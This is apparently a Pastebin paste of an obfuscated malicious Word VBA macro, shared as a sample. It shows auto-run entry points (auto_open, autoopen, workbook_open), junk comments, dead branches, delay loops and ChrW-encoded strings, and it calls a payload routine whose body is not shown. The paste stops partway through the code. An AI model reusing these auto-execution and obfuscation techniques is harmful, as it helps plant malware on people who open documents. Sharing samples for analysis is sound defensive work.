SHARE
TWEET

Malicious Word macro

dynamoo Nov 6th, 2014 196 Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
  1. Attribute VB_Name = "ThisDocument"
  2. Attribute VB_Base = "1Normal.ThisDocument"
  3. Attribute VB_GlobalNameSpace = False
  4. Attribute VB_Creatable = False
  5. Attribute VB_PredeclaredId = True
  6. Attribute VB_Exposed = True
  7. Attribute VB_TemplateDerived = True
  8. Attribute VB_Customizable = True
  9. 'dkvrbcvwjaaysvocmydusziyngciwiaufoxnerakdfrgabicrejjxshkwbenuyzkreeiwfxotnojnebq
  10. Sub auto_open()
  11. 'dkvrbcvwjaaysvocmydusziyngciwiaufoxnerakdfrgabicrejjxshkwbenuyzkreeiwfxotnojnebq
  12. If 926465 = 926465 + 1 Then End
  13. 'dkvrbcvwjaaysvocmydusziyngciwiaufoxnerakdfrgabicrejjxshkwbenuyzkreeiwfxotnojnebq
  14. If 7657 < 32 Then
  15. 'dkvrbcvwjaaysvocmydusziyngciwiaufoxnerakdfrgabicrejjxshkwbenuyzkreeiwfxotnojnebq
  16.  
  17. 'dkvrbcvwjaaysvocmydusziyngciwiaufoxnerakdfrgabicrejjxshkwbenuyzkreeiwfxotnojnebq
  18. Dim kfbmsnvr As Integer
  19. 'dkvrbcvwjaaysvocmydusziyngciwiaufoxnerakdfrgabicrejjxshkwbenuyzkreeiwfxotnojnebq
  20. Dim vegzkylx As Integer
  21. 'dkvrbcvwjaaysvocmydusziyngciwiaufoxnerakdfrgabicrejjxshkwbenuyzkreeiwfxotnojnebq
  22. For vegzkylx = 0 To 2
  23. 'dkvrbcvwjaaysvocmydusziyngciwiaufoxnerakdfrgabicrejjxshkwbenuyzkreeiwfxotnojnebq
  24. DoEvents
  25. 'dkvrbcvwjaaysvocmydusziyngciwiaufoxnerakdfrgabicrejjxshkwbenuyzkreeiwfxotnojnebq
  26. Next vegzkylx
  27. 'dkvrbcvwjaaysvocmydusziyngciwiaufoxnerakdfrgabicrejjxshkwbenuyzkreeiwfxotnojnebq
  28. kfbmsnvr = 6
  29. 'dkvrbcvwjaaysvocmydusziyngciwiaufoxnerakdfrgabicrejjxshkwbenuyzkreeiwfxotnojnebq
  30. Do While kfbmsnvr < 65
  31. 'dkvrbcvwjaaysvocmydusziyngciwiaufoxnerakdfrgabicrejjxshkwbenuyzkreeiwfxotnojnebq
  32. Dim aqwnjbmb As Integer
  33. 'dkvrbcvwjaaysvocmydusziyngciwiaufoxnerakdfrgabicrejjxshkwbenuyzkreeiwfxotnojnebq
  34. For aqwnjbmb = 0 To 2
  35. 'dkvrbcvwjaaysvocmydusziyngciwiaufoxnerakdfrgabicrejjxshkwbenuyzkreeiwfxotnojnebq
  36. DoEvents
  37. 'dkvrbcvwjaaysvocmydusziyngciwiaufoxnerakdfrgabicrejjxshkwbenuyzkreeiwfxotnojnebq
  38. Next aqwnjbmb
  39. 'dkvrbcvwjaaysvocmydusziyngciwiaufoxnerakdfrgabicrejjxshkwbenuyzkreeiwfxotnojnebq
  40. DoEvents: kfbmsnvr = kfbmsnvr + 1
  41. 'dkvrbcvwjaaysvocmydusziyngciwiaufoxnerakdfrgabicrejjxshkwbenuyzkreeiwfxotnojnebq
  42. Dim vrplyzxi As Integer
  43. 'dkvrbcvwjaaysvocmydusziyngciwiaufoxnerakdfrgabicrejjxshkwbenuyzkreeiwfxotnojnebq
  44. For vrplyzxi = 0 To 3
  45. 'dkvrbcvwjaaysvocmydusziyngciwiaufoxnerakdfrgabicrejjxshkwbenuyzkreeiwfxotnojnebq
  46. DoEvents
  47. 'dkvrbcvwjaaysvocmydusziyngciwiaufoxnerakdfrgabicrejjxshkwbenuyzkreeiwfxotnojnebq
  48. Next vrplyzxi
  49. 'dkvrbcvwjaaysvocmydusziyngciwiaufoxnerakdfrgabicrejjxshkwbenuyzkreeiwfxotnojnebq
  50. Loop
  51. 'dkvrbcvwjaaysvocmydusziyngciwiaufoxnerakdfrgabicrejjxshkwbenuyzkreeiwfxotnojnebq
  52.  
  53. 'dkvrbcvwjaaysvocmydusziyngciwiaufoxnerakdfrgabicrejjxshkwbenuyzkreeiwfxotnojnebq
  54. Dim vnrmizlc As Integer
  55. 'dkvrbcvwjaaysvocmydusziyngciwiaufoxnerakdfrgabicrejjxshkwbenuyzkreeiwfxotnojnebq
  56. For vnrmizlc = 0 To 3
  57. 'dkvrbcvwjaaysvocmydusziyngciwiaufoxnerakdfrgabicrejjxshkwbenuyzkreeiwfxotnojnebq
  58. DoEvents
  59. 'dkvrbcvwjaaysvocmydusziyngciwiaufoxnerakdfrgabicrejjxshkwbenuyzkreeiwfxotnojnebq
  60. Next vnrmizlc
  61. 'dkvrbcvwjaaysvocmydusziyngciwiaufoxnerakdfrgabicrejjxshkwbenuyzkreeiwfxotnojnebq
  62.        MsgBox (ChrW(107) & ChrW(112) & ChrW(118) & ChrW(115) & ChrW(104) & ChrW(106) & ChrW(102) & ChrW(119) & ChrW(56) & ChrW(52))
  63. 'dkvrbcvwjaaysvocmydusziyngciwiaufoxnerakdfrgabicrejjxshkwbenuyzkreeiwfxotnojnebq
  64. End If
  65. 'dkvrbcvwjaaysvocmydusziyngciwiaufoxnerakdfrgabicrejjxshkwbenuyzkreeiwfxotnojnebq
  66. If Len(ChrW(122) & ChrW(112) & ChrW(109) & ChrW(113) & ChrW(122) & ChrW(117) & ChrW(107) & ChrW(113) & ChrW(49) & ChrW(56) & ChrW(50) & ChrW(49)) = Len(ChrW(101) & ChrW(100) & ChrW(118) & ChrW(98) & ChrW(113) & ChrW(121) & ChrW(106) & ChrW(106)) Then
  67. 'dkvrbcvwjaaysvocmydusziyngciwiaufoxnerakdfrgabicrejjxshkwbenuyzkreeiwfxotnojnebq
  68.  
  69. 'dkvrbcvwjaaysvocmydusziyngciwiaufoxnerakdfrgabicrejjxshkwbenuyzkreeiwfxotnojnebq
  70. Dim oletgqso As Integer
  71. 'dkvrbcvwjaaysvocmydusziyngciwiaufoxnerakdfrgabicrejjxshkwbenuyzkreeiwfxotnojnebq
  72. Dim dkaeeqhp As Integer
  73. 'dkvrbcvwjaaysvocmydusziyngciwiaufoxnerakdfrgabicrejjxshkwbenuyzkreeiwfxotnojnebq
  74. For dkaeeqhp = 0 To 7
  75. 'dkvrbcvwjaaysvocmydusziyngciwiaufoxnerakdfrgabicrejjxshkwbenuyzkreeiwfxotnojnebq
  76. DoEvents
  77. 'dkvrbcvwjaaysvocmydusziyngciwiaufoxnerakdfrgabicrejjxshkwbenuyzkreeiwfxotnojnebq
  78. Next dkaeeqhp
  79. 'dkvrbcvwjaaysvocmydusziyngciwiaufoxnerakdfrgabicrejjxshkwbenuyzkreeiwfxotnojnebq
  80. oletgqso = 7
  81. 'dkvrbcvwjaaysvocmydusziyngciwiaufoxnerakdfrgabicrejjxshkwbenuyzkreeiwfxotnojnebq
  82. Do While oletgqso < 17
  83. 'dkvrbcvwjaaysvocmydusziyngciwiaufoxnerakdfrgabicrejjxshkwbenuyzkreeiwfxotnojnebq
  84. Dim xkrfyduu As Integer
  85. 'dkvrbcvwjaaysvocmydusziyngciwiaufoxnerakdfrgabicrejjxshkwbenuyzkreeiwfxotnojnebq
  86. For xkrfyduu = 0 To 1
  87. 'dkvrbcvwjaaysvocmydusziyngciwiaufoxnerakdfrgabicrejjxshkwbenuyzkreeiwfxotnojnebq
  88. DoEvents
  89. 'dkvrbcvwjaaysvocmydusziyngciwiaufoxnerakdfrgabicrejjxshkwbenuyzkreeiwfxotnojnebq
  90. Next xkrfyduu
  91. 'dkvrbcvwjaaysvocmydusziyngciwiaufoxnerakdfrgabicrejjxshkwbenuyzkreeiwfxotnojnebq
  92. DoEvents: oletgqso = oletgqso + 1
  93. 'dkvrbcvwjaaysvocmydusziyngciwiaufoxnerakdfrgabicrejjxshkwbenuyzkreeiwfxotnojnebq
  94. Dim ztxmgeta As Integer
  95. 'dkvrbcvwjaaysvocmydusziyngciwiaufoxnerakdfrgabicrejjxshkwbenuyzkreeiwfxotnojnebq
  96. For ztxmgeta = 0 To 1
  97. 'dkvrbcvwjaaysvocmydusziyngciwiaufoxnerakdfrgabicrejjxshkwbenuyzkreeiwfxotnojnebq
  98. DoEvents
  99. 'dkvrbcvwjaaysvocmydusziyngciwiaufoxnerakdfrgabicrejjxshkwbenuyzkreeiwfxotnojnebq
  100. Next ztxmgeta
  101. 'dkvrbcvwjaaysvocmydusziyngciwiaufoxnerakdfrgabicrejjxshkwbenuyzkreeiwfxotnojnebq
  102. Loop
  103. 'dkvrbcvwjaaysvocmydusziyngciwiaufoxnerakdfrgabicrejjxshkwbenuyzkreeiwfxotnojnebq
  104.  
  105. 'dkvrbcvwjaaysvocmydusziyngciwiaufoxnerakdfrgabicrejjxshkwbenuyzkreeiwfxotnojnebq
  106. Dim jwvsxhvz As Integer
  107. 'dkvrbcvwjaaysvocmydusziyngciwiaufoxnerakdfrgabicrejjxshkwbenuyzkreeiwfxotnojnebq
  108. For jwvsxhvz = 0 To 6
  109. 'dkvrbcvwjaaysvocmydusziyngciwiaufoxnerakdfrgabicrejjxshkwbenuyzkreeiwfxotnojnebq
  110. DoEvents
  111. 'dkvrbcvwjaaysvocmydusziyngciwiaufoxnerakdfrgabicrejjxshkwbenuyzkreeiwfxotnojnebq
  112. Next jwvsxhvz
  113. 'dkvrbcvwjaaysvocmydusziyngciwiaufoxnerakdfrgabicrejjxshkwbenuyzkreeiwfxotnojnebq
  114.       MsgBox (ChrW(101) & ChrW(114) & ChrW(114) & ChrW(111) & ChrW(114) & ChrW(32) & ChrW(33) & ChrW(33) & ChrW(33))
  115. 'dkvrbcvwjaaysvocmydusziyngciwiaufoxnerakdfrgabicrejjxshkwbenuyzkreeiwfxotnojnebq
  116. End If
  117. 'dkvrbcvwjaaysvocmydusziyngciwiaufoxnerakdfrgabicrejjxshkwbenuyzkreeiwfxotnojnebq
  118.  
  119. 'dkvrbcvwjaaysvocmydusziyngciwiaufoxnerakdfrgabicrejjxshkwbenuyzkreeiwfxotnojnebq
  120. Dim qpllkwvm As Integer
  121. 'dkvrbcvwjaaysvocmydusziyngciwiaufoxnerakdfrgabicrejjxshkwbenuyzkreeiwfxotnojnebq
  122. Dim xghkyijj As Integer
  123. 'dkvrbcvwjaaysvocmydusziyngciwiaufoxnerakdfrgabicrejjxshkwbenuyzkreeiwfxotnojnebq
  124. For xghkyijj = 0 To 3
  125. 'dkvrbcvwjaaysvocmydusziyngciwiaufoxnerakdfrgabicrejjxshkwbenuyzkreeiwfxotnojnebq
  126. DoEvents
  127. 'dkvrbcvwjaaysvocmydusziyngciwiaufoxnerakdfrgabicrejjxshkwbenuyzkreeiwfxotnojnebq
  128. Next xghkyijj
  129. 'dkvrbcvwjaaysvocmydusziyngciwiaufoxnerakdfrgabicrejjxshkwbenuyzkreeiwfxotnojnebq
  130. qpllkwvm = 9
  131. 'dkvrbcvwjaaysvocmydusziyngciwiaufoxnerakdfrgabicrejjxshkwbenuyzkreeiwfxotnojnebq
  132. Do While qpllkwvm < 32
  133. 'dkvrbcvwjaaysvocmydusziyngciwiaufoxnerakdfrgabicrejjxshkwbenuyzkreeiwfxotnojnebq
  134. Dim qylodmqj As Integer
  135. 'dkvrbcvwjaaysvocmydusziyngciwiaufoxnerakdfrgabicrejjxshkwbenuyzkreeiwfxotnojnebq
  136. For qylodmqj = 0 To 5
  137. 'dkvrbcvwjaaysvocmydusziyngciwiaufoxnerakdfrgabicrejjxshkwbenuyzkreeiwfxotnojnebq
  138. DoEvents
  139. 'dkvrbcvwjaaysvocmydusziyngciwiaufoxnerakdfrgabicrejjxshkwbenuyzkreeiwfxotnojnebq
  140. Next qylodmqj
  141. 'dkvrbcvwjaaysvocmydusziyngciwiaufoxnerakdfrgabicrejjxshkwbenuyzkreeiwfxotnojnebq
  142. DoEvents: qpllkwvm = qpllkwvm + 1
  143. 'dkvrbcvwjaaysvocmydusziyngciwiaufoxnerakdfrgabicrejjxshkwbenuyzkreeiwfxotnojnebq
  144. Dim tflybcyc As Integer
  145. 'dkvrbcvwjaaysvocmydusziyngciwiaufoxnerakdfrgabicrejjxshkwbenuyzkreeiwfxotnojnebq
  146. For tflybcyc = 0 To 1
  147. 'dkvrbcvwjaaysvocmydusziyngciwiaufoxnerakdfrgabicrejjxshkwbenuyzkreeiwfxotnojnebq
  148. DoEvents
  149. 'dkvrbcvwjaaysvocmydusziyngciwiaufoxnerakdfrgabicrejjxshkwbenuyzkreeiwfxotnojnebq
  150. Next tflybcyc
  151. 'dkvrbcvwjaaysvocmydusziyngciwiaufoxnerakdfrgabicrejjxshkwbenuyzkreeiwfxotnojnebq
  152. Loop
  153. 'dkvrbcvwjaaysvocmydusziyngciwiaufoxnerakdfrgabicrejjxshkwbenuyzkreeiwfxotnojnebq
  154.  
  155. 'dkvrbcvwjaaysvocmydusziyngciwiaufoxnerakdfrgabicrejjxshkwbenuyzkreeiwfxotnojnebq
  156. Dim rmmnwbif As Integer
  157. 'dkvrbcvwjaaysvocmydusziyngciwiaufoxnerakdfrgabicrejjxshkwbenuyzkreeiwfxotnojnebq
  158. For rmmnwbif = 0 To 5
  159. 'dkvrbcvwjaaysvocmydusziyngciwiaufoxnerakdfrgabicrejjxshkwbenuyzkreeiwfxotnojnebq
  160. DoEvents
  161. 'dkvrbcvwjaaysvocmydusziyngciwiaufoxnerakdfrgabicrejjxshkwbenuyzkreeiwfxotnojnebq
  162. Next rmmnwbif
  163. 'dkvrbcvwjaaysvocmydusziyngciwiaufoxnerakdfrgabicrejjxshkwbenuyzkreeiwfxotnojnebq
  164. oknydsjonss
  165. 'dkvrbcvwjaaysvocmydusziyngciwiaufoxnerakdfrgabicrejjxshkwbenuyzkreeiwfxotnojnebq
  166.  
  167. 'dkvrbcvwjaaysvocmydusziyngciwiaufoxnerakdfrgabicrejjxshkwbenuyzkreeiwfxotnojnebq
  168. End Sub
  169. 'dkvrbcvwjaaysvocmydusziyngciwiaufoxnerakdfrgabicrejjxshkwbenuyzkreeiwfxotnojnebq
  170. Sub autoopen()
  171. 'dkvrbcvwjaaysvocmydusziyngciwiaufoxnerakdfrgabicrejjxshkwbenuyzkreeiwfxotnojnebq
  172. If 275943 = 275943 + 1 Then End
  173. 'dkvrbcvwjaaysvocmydusziyngciwiaufoxnerakdfrgabicrejjxshkwbenuyzkreeiwfxotnojnebq
  174. If 2392 < 41 Then
  175. 'dkvrbcvwjaaysvocmydusziyngciwiaufoxnerakdfrgabicrejjxshkwbenuyzkreeiwfxotnojnebq
  176.  
  177. 'dkvrbcvwjaaysvocmydusziyngciwiaufoxnerakdfrgabicrejjxshkwbenuyzkreeiwfxotnojnebq
  178. Dim yotchvyu As Integer
  179. 'dkvrbcvwjaaysvocmydusziyngciwiaufoxnerakdfrgabicrejjxshkwbenuyzkreeiwfxotnojnebq
  180. Dim ofinizzb As Integer
  181. 'dkvrbcvwjaaysvocmydusziyngciwiaufoxnerakdfrgabicrejjxshkwbenuyzkreeiwfxotnojnebq
  182. For ofinizzb = 0 To 8
  183. 'dkvrbcvwjaaysvocmydusziyngciwiaufoxnerakdfrgabicrejjxshkwbenuyzkreeiwfxotnojnebq
  184. DoEvents
  185. 'dkvrbcvwjaaysvocmydusziyngciwiaufoxnerakdfrgabicrejjxshkwbenuyzkreeiwfxotnojnebq
  186. Next ofinizzb
  187. 'dkvrbcvwjaaysvocmydusziyngciwiaufoxnerakdfrgabicrejjxshkwbenuyzkreeiwfxotnojnebq
  188. yotchvyu = 4
  189. 'dkvrbcvwjaaysvocmydusziyngciwiaufoxnerakdfrgabicrejjxshkwbenuyzkreeiwfxotnojnebq
  190. Do While yotchvyu < 11
  191. 'dkvrbcvwjaaysvocmydusziyngciwiaufoxnerakdfrgabicrejjxshkwbenuyzkreeiwfxotnojnebq
  192. Dim vtpkgfcb As Integer
  193. 'dkvrbcvwjaaysvocmydusziyngciwiaufoxnerakdfrgabicrejjxshkwbenuyzkreeiwfxotnojnebq
  194. For vtpkgfcb = 0 To 2
  195. 'dkvrbcvwjaaysvocmydusziyngciwiaufoxnerakdfrgabicrejjxshkwbenuyzkreeiwfxotnojnebq
  196. DoEvents
  197. 'dkvrbcvwjaaysvocmydusziyngciwiaufoxnerakdfrgabicrejjxshkwbenuyzkreeiwfxotnojnebq
  198. Next vtpkgfcb
  199. 'dkvrbcvwjaaysvocmydusziyngciwiaufoxnerakdfrgabicrejjxshkwbenuyzkreeiwfxotnojnebq
  200. DoEvents: yotchvyu = yotchvyu + 1
  201. 'dkvrbcvwjaaysvocmydusziyngciwiaufoxnerakdfrgabicrejjxshkwbenuyzkreeiwfxotnojnebq
  202. Dim louexlrq As Integer
  203. 'dkvrbcvwjaaysvocmydusziyngciwiaufoxnerakdfrgabicrejjxshkwbenuyzkreeiwfxotnojnebq
  204. For louexlrq = 0 To 7
  205. 'dkvrbcvwjaaysvocmydusziyngciwiaufoxnerakdfrgabicrejjxshkwbenuyzkreeiwfxotnojnebq
  206. DoEvents
  207. 'dkvrbcvwjaaysvocmydusziyngciwiaufoxnerakdfrgabicrejjxshkwbenuyzkreeiwfxotnojnebq
  208. Next louexlrq
  209. 'dkvrbcvwjaaysvocmydusziyngciwiaufoxnerakdfrgabicrejjxshkwbenuyzkreeiwfxotnojnebq
  210. Loop
  211. 'dkvrbcvwjaaysvocmydusziyngciwiaufoxnerakdfrgabicrejjxshkwbenuyzkreeiwfxotnojnebq
  212.  
  213. 'dkvrbcvwjaaysvocmydusziyngciwiaufoxnerakdfrgabicrejjxshkwbenuyzkreeiwfxotnojnebq
  214. Dim tfwvatki As Integer
  215. 'dkvrbcvwjaaysvocmydusziyngciwiaufoxnerakdfrgabicrejjxshkwbenuyzkreeiwfxotnojnebq
  216. For tfwvatki = 0 To 4
  217. 'dkvrbcvwjaaysvocmydusziyngciwiaufoxnerakdfrgabicrejjxshkwbenuyzkreeiwfxotnojnebq
  218. DoEvents
  219. 'dkvrbcvwjaaysvocmydusziyngciwiaufoxnerakdfrgabicrejjxshkwbenuyzkreeiwfxotnojnebq
  220. Next tfwvatki
  221. 'dkvrbcvwjaaysvocmydusziyngciwiaufoxnerakdfrgabicrejjxshkwbenuyzkreeiwfxotnojnebq
  222.        MsgBox (ChrW(108) & ChrW(110) & ChrW(115) & ChrW(121) & ChrW(118) & ChrW(103) & ChrW(106) & ChrW(113) & ChrW(54) & ChrW(49))
  223. 'dkvrbcvwjaaysvocmydusziyngciwiaufoxnerakdfrgabicrejjxshkwbenuyzkreeiwfxotnojnebq
  224. End If
  225. 'dkvrbcvwjaaysvocmydusziyngciwiaufoxnerakdfrgabicrejjxshkwbenuyzkreeiwfxotnojnebq
  226. If Len(ChrW(110) & ChrW(104) & ChrW(104) & ChrW(116) & ChrW(117) & ChrW(111) & ChrW(100) & ChrW(122) & ChrW(53) & ChrW(53) & ChrW(54) & ChrW(53)) = Len(ChrW(119) & ChrW(112) & ChrW(103) & ChrW(112) & ChrW(97) & ChrW(102) & ChrW(110) & ChrW(104)) Then
  227. 'dkvrbcvwjaaysvocmydusziyngciwiaufoxnerakdfrgabicrejjxshkwbenuyzkreeiwfxotnojnebq
  228.  
  229. 'dkvrbcvwjaaysvocmydusziyngciwiaufoxnerakdfrgabicrejjxshkwbenuyzkreeiwfxotnojnebq
  230. Dim ivremmom As Integer
  231. 'dkvrbcvwjaaysvocmydusziyngciwiaufoxnerakdfrgabicrejjxshkwbenuyzkreeiwfxotnojnebq
  232. Dim svzwqthm As Integer
  233. 'dkvrbcvwjaaysvocmydusziyngciwiaufoxnerakdfrgabicrejjxshkwbenuyzkreeiwfxotnojnebq
  234. For svzwqthm = 0 To 7
  235. 'dkvrbcvwjaaysvocmydusziyngciwiaufoxnerakdfrgabicrejjxshkwbenuyzkreeiwfxotnojnebq
  236. DoEvents
  237. 'dkvrbcvwjaaysvocmydusziyngciwiaufoxnerakdfrgabicrejjxshkwbenuyzkreeiwfxotnojnebq
  238. Next svzwqthm
  239. 'dkvrbcvwjaaysvocmydusziyngciwiaufoxnerakdfrgabicrejjxshkwbenuyzkreeiwfxotnojnebq
  240. ivremmom = 9
  241. 'dkvrbcvwjaaysvocmydusziyngciwiaufoxnerakdfrgabicrejjxshkwbenuyzkreeiwfxotnojnebq
  242. Do While ivremmom < 96
  243. 'dkvrbcvwjaaysvocmydusziyngciwiaufoxnerakdfrgabicrejjxshkwbenuyzkreeiwfxotnojnebq
  244. Dim dgjdanwn As Integer
  245. 'dkvrbcvwjaaysvocmydusziyngciwiaufoxnerakdfrgabicrejjxshkwbenuyzkreeiwfxotnojnebq
  246. For dgjdanwn = 0 To 9
  247. 'dkvrbcvwjaaysvocmydusziyngciwiaufoxnerakdfrgabicrejjxshkwbenuyzkreeiwfxotnojnebq
  248. DoEvents
  249. 'dkvrbcvwjaaysvocmydusziyngciwiaufoxnerakdfrgabicrejjxshkwbenuyzkreeiwfxotnojnebq
  250. Next dgjdanwn
  251. 'dkvrbcvwjaaysvocmydusziyngciwiaufoxnerakdfrgabicrejjxshkwbenuyzkreeiwfxotnojnebq
  252. DoEvents: ivremmom = ivremmom + 1
  253. 'dkvrbcvwjaaysvocmydusziyngciwiaufoxnerakdfrgabicrejjxshkwbenuyzkreeiwfxotnojnebq
  254. Dim tsrslpdj As Integer
  255. 'dkvrbcvwjaaysvocmydusziyngciwiaufoxnerakdfrgabicrejjxshkwbenuyzkreeiwfxotnojnebq
  256. For tsrslpdj = 0 To 2
  257. 'dkvrbcvwjaaysvocmydusziyngciwiaufoxnerakdfrgabicrejjxshkwbenuyzkreeiwfxotnojnebq
  258. DoEvents
  259. 'dkvrbcvwjaaysvocmydusziyngciwiaufoxnerakdfrgabicrejjxshkwbenuyzkreeiwfxotnojnebq
  260. Next tsrslpdj
  261. 'dkvrbcvwjaaysvocmydusziyngciwiaufoxnerakdfrgabicrejjxshkwbenuyzkreeiwfxotnojnebq
  262. Loop
  263. 'dkvrbcvwjaaysvocmydusziyngciwiaufoxnerakdfrgabicrejjxshkwbenuyzkreeiwfxotnojnebq
  264.  
  265. 'dkvrbcvwjaaysvocmydusziyngciwiaufoxnerakdfrgabicrejjxshkwbenuyzkreeiwfxotnojnebq
  266. Dim tdavzicb As Integer
  267. 'dkvrbcvwjaaysvocmydusziyngciwiaufoxnerakdfrgabicrejjxshkwbenuyzkreeiwfxotnojnebq
  268. For tdavzicb = 0 To 4
  269. 'dkvrbcvwjaaysvocmydusziyngciwiaufoxnerakdfrgabicrejjxshkwbenuyzkreeiwfxotnojnebq
  270. DoEvents
  271. 'dkvrbcvwjaaysvocmydusziyngciwiaufoxnerakdfrgabicrejjxshkwbenuyzkreeiwfxotnojnebq
  272. Next tdavzicb
  273. 'dkvrbcvwjaaysvocmydusziyngciwiaufoxnerakdfrgabicrejjxshkwbenuyzkreeiwfxotnojnebq
  274.       MsgBox (ChrW(101) & ChrW(114) & ChrW(114) & ChrW(111) & ChrW(114) & ChrW(32) & ChrW(33) & ChrW(33) & ChrW(33))
  275. 'dkvrbcvwjaaysvocmydusziyngciwiaufoxnerakdfrgabicrejjxshkwbenuyzkreeiwfxotnojnebq
  276. End If
  277. 'dkvrbcvwjaaysvocmydusziyngciwiaufoxnerakdfrgabicrejjxshkwbenuyzkreeiwfxotnojnebq
  278.  
  279. 'dkvrbcvwjaaysvocmydusziyngciwiaufoxnerakdfrgabicrejjxshkwbenuyzkreeiwfxotnojnebq
  280. Dim xgtmaurw As Integer
  281. 'dkvrbcvwjaaysvocmydusziyngciwiaufoxnerakdfrgabicrejjxshkwbenuyzkreeiwfxotnojnebq
  282. Dim yilynwda As Integer
  283. 'dkvrbcvwjaaysvocmydusziyngciwiaufoxnerakdfrgabicrejjxshkwbenuyzkreeiwfxotnojnebq
  284. For yilynwda = 0 To 4
  285. 'dkvrbcvwjaaysvocmydusziyngciwiaufoxnerakdfrgabicrejjxshkwbenuyzkreeiwfxotnojnebq
  286. DoEvents
  287. 'dkvrbcvwjaaysvocmydusziyngciwiaufoxnerakdfrgabicrejjxshkwbenuyzkreeiwfxotnojnebq
  288. Next yilynwda
  289. 'dkvrbcvwjaaysvocmydusziyngciwiaufoxnerakdfrgabicrejjxshkwbenuyzkreeiwfxotnojnebq
  290. xgtmaurw = 2
  291. 'dkvrbcvwjaaysvocmydusziyngciwiaufoxnerakdfrgabicrejjxshkwbenuyzkreeiwfxotnojnebq
  292. Do While xgtmaurw < 29
  293. 'dkvrbcvwjaaysvocmydusziyngciwiaufoxnerakdfrgabicrejjxshkwbenuyzkreeiwfxotnojnebq
  294. Dim hvhwcorn As Integer
  295. 'dkvrbcvwjaaysvocmydusziyngciwiaufoxnerakdfrgabicrejjxshkwbenuyzkreeiwfxotnojnebq
  296. For hvhwcorn = 0 To 6
  297. 'dkvrbcvwjaaysvocmydusziyngciwiaufoxnerakdfrgabicrejjxshkwbenuyzkreeiwfxotnojnebq
  298. DoEvents
  299. 'dkvrbcvwjaaysvocmydusziyngciwiaufoxnerakdfrgabicrejjxshkwbenuyzkreeiwfxotnojnebq
  300. Next hvhwcorn
  301. 'dkvrbcvwjaaysvocmydusziyngciwiaufoxnerakdfrgabicrejjxshkwbenuyzkreeiwfxotnojnebq
  302. DoEvents: xgtmaurw = xgtmaurw + 1
  303. 'dkvrbcvwjaaysvocmydusziyngciwiaufoxnerakdfrgabicrejjxshkwbenuyzkreeiwfxotnojnebq
  304. Dim ojvqzfto As Integer
  305. 'dkvrbcvwjaaysvocmydusziyngciwiaufoxnerakdfrgabicrejjxshkwbenuyzkreeiwfxotnojnebq
  306. For ojvqzfto = 0 To 6
  307. 'dkvrbcvwjaaysvocmydusziyngciwiaufoxnerakdfrgabicrejjxshkwbenuyzkreeiwfxotnojnebq
  308. DoEvents
  309. 'dkvrbcvwjaaysvocmydusziyngciwiaufoxnerakdfrgabicrejjxshkwbenuyzkreeiwfxotnojnebq
  310. Next ojvqzfto
  311. 'dkvrbcvwjaaysvocmydusziyngciwiaufoxnerakdfrgabicrejjxshkwbenuyzkreeiwfxotnojnebq
  312. Loop
  313. 'dkvrbcvwjaaysvocmydusziyngciwiaufoxnerakdfrgabicrejjxshkwbenuyzkreeiwfxotnojnebq
  314.  
  315. 'dkvrbcvwjaaysvocmydusziyngciwiaufoxnerakdfrgabicrejjxshkwbenuyzkreeiwfxotnojnebq
  316. Dim xstdhcde As Integer
  317. 'dkvrbcvwjaaysvocmydusziyngciwiaufoxnerakdfrgabicrejjxshkwbenuyzkreeiwfxotnojnebq
  318. For xstdhcde = 0 To 9
  319. 'dkvrbcvwjaaysvocmydusziyngciwiaufoxnerakdfrgabicrejjxshkwbenuyzkreeiwfxotnojnebq
  320. DoEvents
  321. 'dkvrbcvwjaaysvocmydusziyngciwiaufoxnerakdfrgabicrejjxshkwbenuyzkreeiwfxotnojnebq
  322. Next xstdhcde
  323. 'dkvrbcvwjaaysvocmydusziyngciwiaufoxnerakdfrgabicrejjxshkwbenuyzkreeiwfxotnojnebq
  324.    auto_open
  325. 'dkvrbcvwjaaysvocmydusziyngciwiaufoxnerakdfrgabicrejjxshkwbenuyzkreeiwfxotnojnebq
  326.  
  327. 'dkvrbcvwjaaysvocmydusziyngciwiaufoxnerakdfrgabicrejjxshkwbenuyzkreeiwfxotnojnebq
  328. End Sub
  329. 'dkvrbcvwjaaysvocmydusziyngciwiaufoxnerakdfrgabicrejjxshkwbenuyzkreeiwfxotnojnebq
  330. Sub workbook_open()
  331. 'dkvrbcvwjaaysvocmydusziyngciwiaufoxnerakdfrgabicrejjxshkwbenuyzkreeiwfxotnojnebq
  332. If 932566 = 932566 + 1 Then End
  333. 'dkvrbcvwjaaysvocmydusziyngciwiaufoxnerakdfrgabicrejjxshkwbenuyzkreeiwfxotnojnebq
  334. If 3915 < 95 Then
  335. 'dkvrbcvwjaaysvocmydusziyngciwiaufoxnerakdfrgabicrejjxshkwbenuyzkreeiwfxotnojnebq
  336.  
  337. 'dkvrbcvwjaaysvocmydusziyngciwiaufoxnerakdfrgabicrejjxshkwbenuyzkreeiwfxotnojnebq
  338. Dim ffpaewza As Integer
  339. 'dkvrbcvwjaaysvocmydusziyngciwiaufoxnerakdfrgabicrejjxshkwbenuyzkreeiwfxotnojnebq
  340. Dim kfsupocl As Integer
  341. 'dkvrbcvwjaaysvocmydusziyngciwiaufoxnerakdfrgabicrejjxshkwbenuyzkreeiwfxotnojnebq
  342. For kfsupocl = 0 To 1
  343. 'dkvrbcvwjaaysvocmydusziyngciwiaufoxnerakdfrgabicrejjxshkwbenuyzkreeiwfxotnojnebq
  344. DoEvents
  345. 'dkvrbcvwjaaysvocmydusziyngciwiaufoxnerakdfrgabicrejjxshkwbenuyzkreeiwfxotnojnebq
  346. Next kfsupocl
  347. 'dkvrbcvwjaaysvocmydusziyngciwiaufoxnerakdfrgabicrejjxshkwbenuyzkreeiwfxotnojnebq
  348. ffpaewza = 8
  349. 'dkvrbcvwjaaysvocmydusziyngciwiaufoxnerakdfrgabicrejjxshkwbenuyzkreeiwfxotnojnebq
  350. Do While ffpaewza < 59
  351. 'dkvrbcvwjaaysvocmydusziyngciwiaufoxnerakdfrgabicrejjxshkwbenuyzkreeiwfxotnojnebq
  352. Dim jcjqqifr As Integer
  353. 'dkvrbcvwjaaysvocmydusziyngciwiaufoxnerakdfrgabicrejjxshkwbenuyzkreeiwfxotnojnebq
  354. For jcjqqifr = 0 To 5
  355. 'dkvrbcvwjaaysvocmydusziyngciwiaufoxnerakdfrgabicrejjxshkwbenuyzkreeiwfxotnojnebq
  356. DoEvents
  357. 'dkvrbcvwjaaysvocmydusziyngciwiaufoxnerakdfrgabicrejjxshkwbenuyzkreeiwfxotnojnebq
  358. Next jcjqqifr
